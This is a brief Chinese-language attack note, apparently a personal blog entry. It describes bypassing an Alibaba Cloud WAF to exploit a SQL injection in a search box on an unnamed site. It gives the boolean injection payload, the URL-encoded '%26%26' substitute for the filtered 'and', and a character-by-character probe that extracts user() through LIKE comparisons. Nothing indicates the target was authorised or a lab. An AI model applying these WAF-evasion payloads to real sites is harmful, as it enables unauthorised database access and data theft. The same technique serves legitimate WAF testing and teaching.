绕过阿里云waf进行SQL注入
做个笔记吧,某SQL注入点的绕过,有阿里云waf的。
首先遇到是个搜索框的注入点:
演示下:
针对搜索框,我们的sql语句一般是怎么写的?
本地演示:select * from product where pname like '%华为%'
我们如何进行注入判断?
select * from product where pname like '%华为%' and 1=1 and '%%'='%%'
select * from product where pname like '%华为%' and 1=2 and '%%'='%%'
那么我们的sql注入payload就是:%' and 1=1 and '%%'='%
我们尝试注入这段语句:
直接遭到了拦截,我猜测可能是对and进行了过滤。不允许出现and
在SQL注入测试中我们知道一个小技巧那就是
and可以用&&进行替代。
or可以用||进行替代。
因为我们的注入类型是GET类型,所以我们要对&&进行url编码:
然后构造如下payload:%' %26%26 1=1 %26%26 '%%'='%
正确回显了数据,如果我们and 1=2呢:
不显示信息,现在我们可以说这里是存在SQL注入的
我们使用这种方法判断出存在注入,现在我们还要继续出数据,挖掘SQL注入漏洞最基本的得注入出user()或者是database()名字:
我们对user()进行判断:
输入payload:%' %26%26 user() like 'a%' %26%26 '%%'='%
返回没有输出内容,说明我们的user()第一位不是a
继续探测:
直到输入o
输出了正确的内容,说明user()第一位就是o。
做个记录。。